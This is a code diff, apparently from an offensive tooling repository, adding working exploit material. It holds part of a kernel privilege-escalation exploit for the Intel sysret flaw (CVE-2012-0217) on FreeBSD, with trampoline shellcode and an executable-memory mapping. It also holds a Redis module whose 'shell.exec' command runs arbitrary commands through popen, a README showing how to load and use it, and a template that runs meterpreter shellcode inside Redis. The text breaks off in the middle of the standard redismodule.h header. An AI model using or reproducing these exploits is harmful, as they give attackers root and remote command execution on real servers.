+	//  	register_t	tf_rsp;
+	//  	register_t	tf_ss;
+	//  };
+	//
+	// When the exception is triggered, the hardware pushes
+	// ss, rsp, rflags, cs, rip and err
+	//
+	// We can see that [1], [2] and [3] write to the stack
+	// [3] is fully user-controlled through rdi, so we could try to align
+	// rsp such that [3] overwrites the offset address
+	//
+	// The trouble is... rsp is 16byte aligned for exceptions. We can
+	// therefore only overwrite the first 32-LSB of the offset address
+	// (check how rdi is 16byte aligned in this trapframe)
+	//
+	// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
+	// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
+	// and tf_trapno is 16byte aligned + 8!
+	// This enables us to set Target Offset[63:32] to 0x9
+	//
+	// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
+	*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
+	// Hence, the #PF handler's address is now 0x9WWXXYYZZ
+	// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
+	// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
+	// some setup and jump to our kernel mode code
+	printf("    [+] Trampoline code...\n");
+	char trampolinecode[] =
+		"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
+		"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
+		"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
+		"\xff\xe0"; // jmp rax
+
+	uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
+	size_t trampoline_allocsize = pagesize;
+	// We round the address to the PAGESIZE for the allocation
+	// Not enough space for the trampoline code ?
+	if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
+		trampoline_allocsize += pagesize;
+	if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
+		PROT_READ | PROT_WRITE | PROT_EXEC,
+		MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
+	{
+		perror("mmap (trampoline)");
+		exit(1);
+	}
+	memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
+	*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
+	// Call it
+	printf("[*] Fire in the hole!\n");
+	((void (*)())trigger_addr)();
+}
+
+typedef struct validtarget
+{
+	char * sysname;
+	char * release;
+	char * machine;
+} validtarget_t;
+
+int validate_target(char * sysname, char * release, char * machine)
+{
+	validtarget_t targets[] = {
+		{ "FreeBSD", "8.3-RELEASE", "amd64" },
+		{ "FreeBSD", "9.0-RELEASE", "amd64" },
+		{ 0, 0, 0 }
+	};
+
+	int found = 0;
+	int i = 0;
+
+	while (!found && targets[i].sysname) {
+		found = !strcmp(targets[i].sysname, sysname)
+			&& !strcmp(targets[i].release, release)
+			&& !strcmp(targets[i].machine, machine);
+		++i;
+	}
+	return found;
+}
+
+void get_cpu_vendor(char * cpu_vendor)
+{
+	u_int regs[4];
+
+	do_cpuid(0, regs);
+   ((u_int *)cpu_vendor)[0] = regs[1];
+   ((u_int *)cpu_vendor)[1] = regs[3];
+   ((u_int *)cpu_vendor)[2] = regs[2];
+   cpu_vendor[12] = '\0';
+}
+
+int is_intel()
+{
+	char cpu_vendor[13];
+
+	get_cpu_vendor(cpu_vendor);
+	return !strcmp(cpu_vendor, "GenuineIntel");
+}
+
+int main(int argc, char *argv[])
+{
+	printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");
+
+	printf("[*] Retrieving host information...\n");
+	char cpu_vendor[13];
+	get_cpu_vendor(cpu_vendor);
+	struct utsname ver;
+	uname(&ver);
+	printf("    [+] CPU: %s\n", cpu_vendor);
+	printf("    [+] sysname: %s\n", ver.sysname);
+	printf("    [+] release: %s\n", ver.release);
+	printf("    [+] version: %s\n", ver.version);
+	printf("    [+] machine: %s\n", ver.machine);
+	printf("[*] Validating target OS and version...\n");
+	if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
+		printf("    [+] NOT Vulnerable :-(\n");
+		exit(1);
+	} else
+		printf("    [+] Vulnerable :-)\n");
+	// Prepare the values we'll need to restore the kernel to a stable state
+	printf("[*] Resolving kernel addresses...\n");
+	Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
+	Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
+	Xill_ptr = (uintptr_t)get_symaddr("Xill");
+	Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
+	Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
+	Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
+	Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
+	Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
+	Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
+	// doeet!
+	trigger();
+	return 0;
+}
+
@@ -0,0 +1,35 @@
+#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
+ifndef RM_INCLUDE_DIR
+	RM_INCLUDE_DIR=./
+endif
+
+ifndef RMUTIL_LIBDIR
+	RMUTIL_LIBDIR=./rmutil
+endif
+
+# find the OS
+uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
+
+# Compile flags for linux / osx
+ifeq ($(uname_S),Linux)
+	SHOBJ_CFLAGS ?=  -fno-common -g -ggdb
+	SHOBJ_LDFLAGS ?= -shared -Bsymbolic
+else
+	SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
+	SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
+endif
+CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack 
+CC=gcc
+
+all: rmutil module.so
+
+rmutil: FORCE
+	$(MAKE) -C $(RMUTIL_LIBDIR)
+
+module.so: module.o
+	$(LD) -o $@ module.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
+
+clean:
+	rm -rf *.xo *.so *.o
+
+FORCE:
@@ -0,0 +1,35 @@
+#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
+ifndef RM_INCLUDE_DIR
+	RM_INCLUDE_DIR=../
+endif
+
+ifndef RMUTIL_LIBDIR
+	RMUTIL_LIBDIR=../rmutil
+endif
+
+# find the OS
+uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
+
+# Compile flags for linux / osx
+ifeq ($(uname_S),Linux)
+	SHOBJ_CFLAGS ?=  -fno-common -g -ggdb
+	SHOBJ_LDFLAGS ?= -shared -Bsymbolic
+else
+	SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
+	SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
+endif
+CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack 
+CC=gcc
+
+all: rmutil exp.so
+
+rmutil: FORCE
+	$(MAKE) -C $(RMUTIL_LIBDIR)
+
+exp.so: exp.o
+	$(LD) -o $@ exp.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
+
+clean:
+	rm -rf *.xo *.so *.o
+
+FORCE:
@@ -0,0 +1,47 @@
+#include "redismodule.h"
+
+#include <stdio.h> 
+#include <unistd.h>  
+#include <stdlib.h> 
+#include <errno.h>   
+#include <sys/wait.h>
+#include <sys/types.h> 
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
+        if (argc == 2) {
+                size_t cmd_len;
+                size_t size = 1024;
+                char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
+
+                FILE *fp = popen(cmd, "r");
+                char *buf, *output;
+                buf = (char *)malloc(size);
+                output = (char *)malloc(size);
+                while ( fgets(buf, sizeof(buf), fp) != 0 ) {
+                        if (strlen(buf) + strlen(output) >= size) {
+                                output = realloc(output, size<<2);
+                                size <<= 1;
+                        }
+                        strcat(output, buf);
+                }
+                RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
+                RedisModule_ReplyWithString(ctx, ret);
+                pclose(fp);
+        } else {
+                return RedisModule_WrongArity(ctx);
+        }
+        return REDISMODULE_OK;
+}
+
+int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
+    if (RedisModule_Init(ctx,"shell",1,REDISMODULE_APIVER_1)
+                        == REDISMODULE_ERR) return REDISMODULE_ERR;
+
+    if (RedisModule_CreateCommand(ctx, "shell.exec",
+        Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
+        return REDISMODULE_ERR;
+
+    return REDISMODULE_OK;
+}
@@ -0,0 +1,23 @@
+## Intro
+
+This is a compiled shared object file of redis module.
+
+## Load redis extension
+
+```
+MODULE load ./exp.so
+```
+
+## Run command
+
+```
+redis-cli
+127.0.0.1:6379> shell.exec "whoami"
+```
+## Compile
+
+You can modify the exp.c source code if you want.
+And the compile it to exp.so in current directory.
+```
+make
+```
@@ -0,0 +1,38 @@
+#include "redismodule.h"
+
+#include <stdio.h> 
+#include <unistd.h>  
+#include <stdlib.h> 
+#include <errno.h>   
+#include <sys/wait.h>
+#include <sys/types.h> 
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
+
+    pid_t child_pid = fork();
+    if (child_pid == 0)
+    {
+        // Your meterpreter shell here
+        <%= buf %>
+
+        int (*ret)() = (int(*)())buf;
+        ret();
+    }
+    else
+        {wait(NULL);}
+
+    return REDISMODULE_OK;
+}
+
+
+int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
+    if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1)
+                        == REDISMODULE_ERR) return REDISMODULE_ERR;
+
+    if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>,
+        Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
+        return REDISMODULE_ERR;
+    return REDISMODULE_OK;
+}
@@ -0,0 +1,509 @@
+#ifndef REDISMODULE_H
+#define REDISMODULE_H
+
+#include <sys/types.h>
+#include <stdint.h>
+#include <stdio.h>
+
+/* ---------------- Defines common between core and modules --------------- */
+
+/* Error status return values. */
+#define REDISMODULE_OK 0
+#define REDISMODULE_ERR 1
+
+/* API versions. */
+#define REDISMODULE_APIVER_1 1
+
+/* API flags and constants */
+#define REDISMODULE_READ (1<<0)
+#define REDISMODULE_WRITE (1<<1)
+
+#define REDISMODULE_LIST_HEAD 0
+#define REDISMODULE_LIST_TAIL 1
+
+/* Key types. */
+#define REDISMODULE_KEYTYPE_EMPTY 0
+#define REDISMODULE_KEYTYPE_STRING 1
+#define REDISMODULE_KEYTYPE_LIST 2
+#define REDISMODULE_KEYTYPE_HASH 3
+#define REDISMODULE_KEYTYPE_SET 4
+#define REDISMODULE_KEYTYPE_ZSET 5
+#define REDISMODULE_KEYTYPE_MODULE 6
+
+/* Reply types. */
+#define REDISMODULE_REPLY_UNKNOWN -1
+#define REDISMODULE_REPLY_STRING 0
+#define REDISMODULE_REPLY_ERROR 1
+#define REDISMODULE_REPLY_INTEGER 2
+#define REDISMODULE_REPLY_ARRAY 3
+#define REDISMODULE_REPLY_NULL 4
+
+/* Postponed array length. */
+#define REDISMODULE_POSTPONED_ARRAY_LEN -1
+
+/* Expire */
+#define REDISMODULE_NO_EXPIRE -1
+
+/* Sorted set API flags. */
+#define REDISMODULE_ZADD_XX      (1<<0)
+#define REDISMODULE_ZADD_NX      (1<<1)
+#define REDISMODULE_ZADD_ADDED   (1<<2)
+#define REDISMODULE_ZADD_UPDATED (1<<3)
+#define REDISMODULE_ZADD_NOP     (1<<4)
+
+/* Hash API flags. */
+#define REDISMODULE_HASH_NONE       0
+#define REDISMODULE_HASH_NX         (1<<0)
+#define REDISMODULE_HASH_XX         (1<<1)
+#define REDISMODULE_HASH_CFIELDS    (1<<2)
+#define REDISMODULE_HASH_EXISTS     (1<<3)
+
+/* Context Flags: Info about the current context returned by
+ * RM_GetContextFlags(). */
+
+/* The command is running in the context of a Lua script */
+#define REDISMODULE_CTX_FLAGS_LUA (1<<0)
+/* The command is running inside a Redis transaction */
+#define REDISMODULE_CTX_FLAGS_MULTI (1<<1)
+/* The instance is a master */
+#define REDISMODULE_CTX_FLAGS_MASTER (1<<2)
+/* The instance is a slave */
+#define REDISMODULE_CTX_FLAGS_SLAVE (1<<3)
+/* The instance is read-only (usually meaning it's a slave as well) */
+#define REDISMODULE_CTX_FLAGS_READONLY (1<<4)
+/* The instance is running in cluster mode */
+#define REDISMODULE_CTX_FLAGS_CLUSTER (1<<5)
+/* The instance has AOF enabled */
+#define REDISMODULE_CTX_FLAGS_AOF (1<<6)
+/* The instance has RDB enabled */
+#define REDISMODULE_CTX_FLAGS_RDB (1<<7)
+/* The instance has Maxmemory set */
+#define REDISMODULE_CTX_FLAGS_MAXMEMORY (1<<8)
+/* Maxmemory is set and has an eviction policy that may delete keys */
+#define REDISMODULE_CTX_FLAGS_EVICT (1<<9)
+/* Redis is out of memory according to the maxmemory flag. */
+#define REDISMODULE_CTX_FLAGS_OOM (1<<10)
+/* Less than 25% of memory available according to maxmemory. */
+#define REDISMODULE_CTX_FLAGS_OOM_WARNING (1<<11)
+
+#define REDISMODULE_NOTIFY_GENERIC (1<<2)     /* g */
+#define REDISMODULE_NOTIFY_STRING (1<<3)      /* $ */
+#define REDISMODULE_NOTIFY_LIST (1<<4)        /* l */
+#define REDISMODULE_NOTIFY_SET (1<<5)         /* s */
+#define REDISMODULE_NOTIFY_HASH (1<<6)        /* h */
+#define REDISMODULE_NOTIFY_ZSET (1<<7)        /* z */
+#define REDISMODULE_NOTIFY_EXPIRED (1<<8)     /* x */
+#define REDISMODULE_NOTIFY_EVICTED (1<<9)     /* e */
+#define REDISMODULE_NOTIFY_STREAM (1<<10)     /* t */
+#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED | REDISMODULE_NOTIFY_STREAM)      /* A */
+
+
+/* A special pointer that we can use between the core and the module to signal
+ * field deletion, and that is impossible to be a valid pointer. */
+#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
+
+/* Error messages. */
+#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
+
+#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
+#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
+
+/* Cluster API defines. */
+#define REDISMODULE_NODE_ID_LEN 40
+#define REDISMODULE_NODE_MYSELF     (1<<0)
+#define REDISMODULE_NODE_MASTER     (1<<1)
+#define REDISMODULE_NODE_SLAVE      (1<<2)
+#define REDISMODULE_NODE_PFAIL      (1<<3)
+#define REDISMODULE_NODE_FAIL       (1<<4)
+#define REDISMODULE_NODE_NOFAILOVER (1<<5)
+
+#define REDISMODULE_CLUSTER_FLAG_NONE 0
+#define REDISMODULE_CLUSTER_FLAG_NO_FAILOVER (1<<1)
+#define REDISMODULE_CLUSTER_FLAG_NO_REDIRECTION (1<<2)
+
+#define REDISMODULE_NOT_USED(V) ((void) V)
+
+/* This type represents a timer handle, and is returned when a timer is
+ * registered and used in order to invalidate a timer. It's just a 64 bit
+ * number, because this is how each timer is represented inside the radix tree
+ * of timers that are going to expire, sorted by expire time. */
+typedef uint64_t RedisModuleTimerID;
+
+/* ------------------------- End of common defines ------------------------ */
+
+#ifndef REDISMODULE_CORE
+
+typedef long long mstime_t;
+
+/* Incomplete structures for compiler checks but opaque access. */
+typedef struct RedisModuleCtx RedisModuleCtx;
+typedef struct RedisModuleKey RedisModuleKey;
+typedef struct RedisModuleString RedisModuleString;
+typedef struct RedisModuleCallReply RedisModuleCallReply;
+typedef struct RedisModuleIO RedisModuleIO;
+typedef struct RedisModuleType RedisModuleType;
+typedef struct RedisModuleDigest RedisModuleDigest;
+typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
+typedef struct RedisModuleClusterInfo RedisModuleClusterInfo;
+typedef struct RedisModuleDict RedisModuleDict;
+typedef struct RedisModuleDictIter RedisModuleDictIter;
+
+typedef int (*RedisModuleCmdFunc)(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
+typedef void (*RedisModuleDisconnectFunc)(RedisModuleCtx *ctx, RedisModuleBlockedClient *bc);
+typedef int (*RedisModuleNotificationFunc)(RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
+typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
+typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
+typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
+typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
+typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
+typedef void (*RedisModuleTypeFreeFunc)(void *value);
+typedef void (*RedisModuleClusterMessageReceiver)(RedisModuleCtx *ctx, const char *sender_id, uint8_t type, const unsigned char *payload, uint32_t len);
+typedef void (*RedisModuleTimerProc)(RedisModuleCtx *ctx, void *data);
+
+#define REDISMODULE_TYPE_METHOD_VERSION 1
+typedef struct RedisModuleTypeMethods {
+    uint64_t version;
+    RedisModuleTypeLoadFunc rdb_load;
+    RedisModuleTypeSaveFunc rdb_save;
+    RedisModuleTypeRewriteFunc aof_rewrite;
+    RedisModuleTypeMemUsageFunc mem_usage;
+    RedisModuleTypeDigestFunc digest;
+    RedisModuleTypeFreeFunc free;
+} RedisModuleTypeMethods;
+
+#define REDISMODULE_GET_API(name) \
+    RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
+
+#define REDISMODULE_API_FUNC(x) (*x)
+
+
+void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
+void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
+void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
+void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
+char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
+int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
+int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
+void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
+int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
+int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
+int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
+void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
+void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
+int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
+size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
+int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
+RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
+const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
+void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
+int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
+long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
+size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
+RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
+void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
+const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
+void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
+int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
+int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
+int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
+void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
+int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
+const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
+int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
+char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
+int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
+mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
+int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
+int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
+int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
+int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
+void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
+int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
+int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
+int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
+int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
+int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
+int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
+int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
+void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
+unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
+int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
+void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
+RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
+int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
+RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
+void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
+void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
+uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
+void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
+int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
+void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
+void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
+void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
+RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
+char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
+void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
+double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
+void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
+float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
+void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
+void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
+int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
+void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
+int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
+RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
+long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
+void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
+void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
+void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
+RedisModuleDict *REDISMODULE_API_FUNC(RedisModule_CreateDict)(RedisModuleCtx *ctx);
+void REDISMODULE_API_FUNC(RedisModule_FreeDict)(RedisModuleCtx *ctx, RedisModuleDict *d);
+uint64_t REDISMODULE_API_FUNC(RedisModule_DictSize)(RedisModuleDict *d);
+int REDISMODULE_API_FUNC(RedisModule_DictSetC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
+int REDISMODULE_API_FUNC(RedisModule_DictReplaceC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
